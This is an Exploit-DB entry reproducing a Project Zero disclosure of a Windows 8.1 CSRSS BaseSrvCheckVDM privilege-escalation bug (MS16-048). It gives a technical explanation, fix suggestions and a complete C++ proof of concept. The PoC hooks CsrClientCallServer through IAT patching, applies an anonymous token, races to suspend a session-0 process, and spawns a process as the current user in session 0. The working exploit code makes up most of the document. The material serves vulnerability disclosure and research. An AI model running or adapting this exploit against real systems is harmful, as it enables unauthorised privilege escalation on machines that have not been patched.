Microsoft Windows - CSRSS BaseSrvCheckVDM Session 0 Process Creation Privilege Escalation (MS16-048)

EDB-ID:

39740




Platform:

Windows

Date:

2016-04-27


/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=692

Windows: CSRSS BaseSrvCheckVDM Session 0 Process Creation EoP
Platform: Windows 8.1, not tested on Windows 10 or 7
Class: Elevation of Privilege

Summary:
The CSRSS BaseSrv RPC call BaseSrvCheckVDM allows you to create a new process with the anonymous token, which results on a new process in session 0 which can be abused to elevate privileges.

Description:

CSRSS/basesrv.dll has a RPC method, BaseSrvCheckVDM, which checks whether the Virtual DOS Machine is installed and enabled. On Windows 8 and above the VDM is off by default (on 32 bit Windows) so if disabled CSRSS tries to be helpful and spawns a process on the desktop which asks the user to install the VDM.  The token used for the new process comes from the impersonation token of the caller. So by impersonating the anonymous token before the call to CsrClientCallServer we can get CSRSS to use that as the primary token. As the anonymous token has a Session ID of 0 this means it creates a new process in session 0 (because nothing else changes the session ID). 

Now this in itself wouldn’t typically be exploitable, there are many places with similar behaviour (for example Win32_Process::Create in WMI) but most places impersonate the primary token it’s going to set over the call to CreateProcessAsUser. If it did this then for most scenarios the call to NtCreateUserProcess would fail with STATUS_ACCESS_DENIED as the anonymous token can’t access much in the way of files, unless of course the default configuration is changed to add the Everyone group to the token. 

However in this case the code in BaseSrvLaunchProcess instead calls a method, BasepImpersonateClientProcess which opens the calling process’s primary token, creates an impersonation token and impersonates that. This means that the call is created with the security context of the current user which _can_ access arbitrary files. So BaseSrvLaunchProcess does roughly:

CsrImpersonateClient(0);
OpenThreadToken(..., &hToken);
DuplicateTokenEx(hToken, …, TokenPrimary, &hPrimaryToken); <- The anonymous token
RevertToSelf();

OpenProcessToken(hCallerProcess, &hToken);
DuplicateToken(hToken, SecurityImpersonation, &hImpToken);
SetThreadToken(hThread, hImpTOken); <- This impersonates the user
NtCreateUserProcess(...); <- Succeeds, creates process as Anonymous Logon in Session 0.

Of course this new process in session 0 can’t do a lot due to it being run as the Anonymous Logon user, and in fact will die pretty quickly during initialization. However we can at least get a handle to it before it dies. At least if you have multiple CPUs it should be possible to win the race to open it and suspend the process before death (in fact for later exploitation you might not need it alive at all, just a handle is sufficient). Now you could patch out the LDR calls and allow the process to initialize, but it would be more useful to have a process as the current user with the session ID 0. 

One way we can do this is exploiting CreateProcessWithLogonW. If we use the LOGON_NETCREDENTIALS_ONLY flag then seclogon will create a new process based on the current callers token (which is the current user) but the service takes a Process ID value which indicates the parent process. It’s the parent process’s session ID which is used to determine what session the new token should really be in. So if we call seclogon, passing the PID of the anonymous token process but call it from the current user we’ll get an arbitrary process created with the current user token but in session 0. There’s some fun to do with default DACLs and the like to make this all work but that’s an implementation detail.

The final question is is this useful? Session 0 has a special place in the security model on Windows, even more so since Vista with Session 0 isolation. For example because we’re in session 0 we can drop arbitrarily named Sections and Symbolic Links in \BaseNamedObjects which normally requires SeCreateGlobalPrivilege this might allow a low privilege user to interact with system services which no longer expect this kind of attack vector. Also there’s probably other places which check for Session ID 0 to make some sort of trust decision. 

Note even though the VDM isn’t present on x64 builds of Windows these CSRSS RPC calls still seem to exist and so should be vulnerable.

From a fixing perspective I guess CSRSS should consistently use the same token for the primary and the impersonation. In the more general case I wonder if the anonymous token should have its Session ID set to the caller’s session ID when it impersonates to to prevent this scenario in the first place, but I bet there’s some difficult edge cases on that. 

Proof of Concept:

I’ve provided a PoC as a C++ source code file. You need to compile it with VC++. This must be run on Windows 8.1 32 bit version as I abuse the existing code in CreateProcess to call CSRSS when trying to create a 16bit DOS executable. This is rather than going to the effort of reverse engineering the call. However if you did that it should work in a similar way on 64 bit windows. Also you MUST run it on a multi-processor system, you might not be able to win the race on a single core system, but I’ve not verified that. If it seems to get stuck and no new process is created it might have lost the race, try it again. Also try rebooting, I’ve observed the control panel sometimes not being created for some reason which a reboot tends to fix.

1) Compile the C++ source code file.
2) Execute the poc executable as a normal user. This will not work from low IL.
3) If successful a copy of notepad should be created (suspended though as it’ll crash trying to access the Window Station if it starts). You can create a process which will survive to add stuff to things like BaseNamedObjects but I’ve not provided such an executable.

Expected Result:
The call to BaseSrvCheckVDM should fail to create the control panel process.

Observed Result:
A new copy of notepad is created suspended. You can observe that it runs as the current user’s token but in Session ID 0.
*/

#include <stdio.h>
#include <tchar.h>
#include <Windows.h>
#include <sddl.h>

extern "C" {
  NTSTATUS NTAPI NtGetNextProcess(
    HANDLE ProcessHandle,
    ACCESS_MASK DesiredAccess,
    ULONG HandleAttributes,
    ULONG Flags,
    PHANDLE NewProcessHandle);

  NTSTATUS NTAPI NtSuspendProcess(HANDLE ProcessHandle);
}

HANDLE g_hProcess = nullptr;

void SetProcessId(DWORD pid) {
  __asm {
    mov edx, [pid];
    mov eax, fs:[0x18]
    mov [eax+0x20], edx
  }
}

DWORD CALLBACK CaptureAndSuspendProcess(LPVOID)
{
  ImpersonateAnonymousToken(GetCurrentThread());

  while (NtGetNextProcess(nullptr, MAXIMUM_ALLOWED, 0, 0, &g_hProcess) != 0)
  {
  }
  NTSTATUS status = NtSuspendProcess(g_hProcess);

  printf("Suspended process: %08X %p %d\n", status, g_hProcess, GetProcessId(g_hProcess));
  RevertToSelf();

  SetProcessId(GetProcessId(g_hProcess));
  
  WCHAR cmdline[] = L"notepad.exe";
  STARTUPINFO startInfo = {};
  PROCESS_INFORMATION procInfo = {};
  startInfo.cb = sizeof(startInfo);
  if (CreateProcessWithLogonW(L"user", L"domain", L"password", LOGON_NETCREDENTIALS_ONLY,
    nullptr, cmdline, CREATE_SUSPENDED, nullptr, nullptr, &startInfo, &procInfo))
  {
    printf("Created process %d\n", procInfo.dwProcessId);
  }
  else
  {
    printf("Create error: %d\n", GetLastError());
  }
  TerminateProcess(g_hProcess, 0);
  ExitProcess(0);

  return 0;
}

HANDLE GetAnonymousToken()
{
  ImpersonateAnonymousToken(GetCurrentThread());
  HANDLE hToken;
  OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &hToken);
  RevertToSelf();
  
  PSECURITY_DESCRIPTOR pSD;
  ULONG sd_length;
  if (!ConvertStringSecurityDescriptorToSecurityDescriptor(L"D:(A;;GA;;;WD)(A;;GA;;;AN)", SDDL_REVISION_1, &pSD, &sd_length))
  {
    printf("Error converting SDDL: %d\n", GetLastError());
    exit(1);
  }

  TOKEN_DEFAULT_DACL dacl;
  BOOL bPresent;
  BOOL bDefaulted;
  PACL pDACL;
  GetSecurityDescriptorDacl(pSD, &bPresent, &pDACL, &bDefaulted);
  dacl.DefaultDacl = pDACL;

  if (!SetTokenInformation(hToken, TokenDefaultDacl, &dacl, sizeof(dacl)))
  {
    printf("Error setting default DACL: %d\n", GetLastError());
    exit(1);
  }

  return hToken;
}

#define PtrFromRva( base, rva ) ( ( ( PBYTE ) base ) + rva )

/*++
Routine Description:
Replace the function pointer in a module's IAT.

Parameters:
Module              - Module to use IAT from.
ImportedModuleName  - Name of imported DLL from which
function is imported.
ImportedProcName    - Name of imported function.
AlternateProc       - Function to be written to IAT.
OldProc             - Original function.

Return Value:
S_OK on success.
(any HRESULT) on failure.
--*/
HRESULT PatchIat(
  __in HMODULE Module,
  __in PSTR ImportedModuleName,
  __in PSTR ImportedProcName,
  __in PVOID AlternateProc,
  __out_opt PVOID *OldProc
  )
{
  PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)Module;
  PIMAGE_NT_HEADERS NtHeader;
  PIMAGE_IMPORT_DESCRIPTOR ImportDescriptor;
  UINT Index;

  NtHeader = (PIMAGE_NT_HEADERS)
    PtrFromRva(DosHeader, DosHeader->e_lfanew);
  if (IMAGE_NT_SIGNATURE != NtHeader->Signature)
  {
    return HRESULT_FROM_WIN32(ERROR_BAD_EXE_FORMAT);
  }

  ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)
    PtrFromRva(DosHeader,
      NtHeader->OptionalHeader.DataDirectory
      [IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

  //
  // Iterate over import descriptors/DLLs.
  //
  for (Index = 0;
  ImportDescriptor[Index].Characteristics != 0;
    Index++)
  {
    PSTR dllName = (PSTR)
      PtrFromRva(DosHeader, ImportDescriptor[Index].Name);

    if (0 == _strcmpi(dllName, ImportedModuleName))
    {
      //
      // This the DLL we are after.
      //
      PIMAGE_THUNK_DATA Thunk;
      PIMAGE_THUNK_DATA OrigThunk;

      if (!ImportDescriptor[Index].FirstThunk ||
        !ImportDescriptor[Index].OriginalFirstThunk)
      {
        return E_INVALIDARG;
      }

      Thunk = (PIMAGE_THUNK_DATA)
        PtrFromRva(DosHeader,
          ImportDescriptor[Index].FirstThunk);
      OrigThunk = (PIMAGE_THUNK_DATA)
        PtrFromRva(DosHeader,
          ImportDescriptor[Index].OriginalFirstThunk);

      for (; OrigThunk->u1.Function != NULL;
      OrigThunk++, Thunk++)
      {
        if (OrigThunk->u1.Ordinal & IMAGE_ORDINAL_FLAG)
        {
          //
          // Ordinal import - we can handle named imports
          // ony, so skip it.
          //
          continue;
        }

        PIMAGE_IMPORT_BY_NAME import = (PIMAGE_IMPORT_BY_NAME)
          PtrFromRva(DosHeader, OrigThunk->u1.AddressOfData);

        if (0 == strcmp(ImportedProcName,
          (char*)import->Name))
        {
          //
          // Proc found, patch it.
          //
          DWORD junk;
          MEMORY_BASIC_INFORMATION thunkMemInfo;

          //
          // Make page writable.
          //
          VirtualQuery(
            Thunk,
            &thunkMemInfo,
            sizeof(MEMORY_BASIC_INFORMATION));
          if (!VirtualProtect(
            thunkMemInfo.BaseAddress,
            thunkMemInfo.RegionSize,
            PAGE_EXECUTE_READWRITE,
            &thunkMemInfo.Protect))
          {
            return HRESULT_FROM_WIN32(GetLastError());
          }

          //
          // Replace function pointers (non-atomically).
          //
          if (OldProc)
          {
            *OldProc = (PVOID)(DWORD_PTR)
              Thunk->u1.Function;
          }
#ifdef _WIN64
          Thunk->u1.Function = (ULONGLONG)(DWORD_PTR)
            AlternateProc;
#else
          Thunk->u1.Function = (DWORD)(DWORD_PTR)
            AlternateProc;
#endif
          //
          // Restore page protection.
          //
          if (!VirtualProtect(
            thunkMemInfo.BaseAddress,
            thunkMemInfo.RegionSize,
            thunkMemInfo.Protect,
            &junk))
          {
            return HRESULT_FROM_WIN32(GetLastError());
          }

          return S_OK;
        }
      }

      //
      // Import not found.
      //
      return HRESULT_FROM_WIN32(ERROR_PROC_NOT_FOUND);
    }
  }

  //
  // DLL not found.
  //
  return HRESULT_FROM_WIN32(ERROR_MOD_NOT_FOUND);
}

typedef void* (__stdcall *fCsrClientCallServer)(void* a, void* b, DWORD c, void* d);

fCsrClientCallServer g_pCsgClientCallServer;

void* __stdcall CsrClientCallServerHook(void* a, void* b, DWORD c, void* d)
{
  void* ret = nullptr;
  printf("In ClientCall hook %08X\n", c);
  if (c == 0x10010005)
  {
    printf("Set Anonymous Token: %d\n", SetThreadToken(nullptr, GetAnonymousToken()));
  }

  ret = g_pCsgClientCallServer(a, b, c, d);
  RevertToSelf();
  return ret;
}

int main(int argc, char** argv)
{
  BOOL is_wow64 = FALSE;
  if (IsWow64Process(GetCurrentProcess(), &is_wow64) && is_wow64)
  {
    printf("Error: This must be run on 32 bit Windows\n");
    return 1;
  }
  // Hook the call to CsrClientCallServer from kernel32 to apply the anonymous token.
  PVOID hook;
  HRESULT hr = PatchIat(GetModuleHandle(L"kernel32.dll"), "ntdll.dll", "CsrClientCallServer", CsrClientCallServerHook, &hook);
  if (FAILED(hr))
  {
    printf("Error patching IAT: %08X\n", hr);
    return 1;
  }

  g_pCsgClientCallServer = (fCsrClientCallServer)hook;
  printf("Patched client %p %p\n", hook, GetProcAddress(GetModuleHandle(L"ntdll.dll"), "CsrClientCallServer"));

  HANDLE hThread = CreateThread(nullptr, 0, CaptureAndSuspendProcess, nullptr, 0, nullptr);
  // Wait a little just to ensure capture loop is running.
  Sleep(1000);

  STARTUPINFO startInfo = {};
  startInfo.cb = sizeof(startInfo);
  PROCESS_INFORMATION procInfo = {};
  WCHAR cmdline[] = L"edit.com";
  // Create a 16bit executable, this will call into CSRSS which we've hooked.
  CreateProcess(nullptr, cmdline, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &startInfo, &procInfo);

  return 0;
}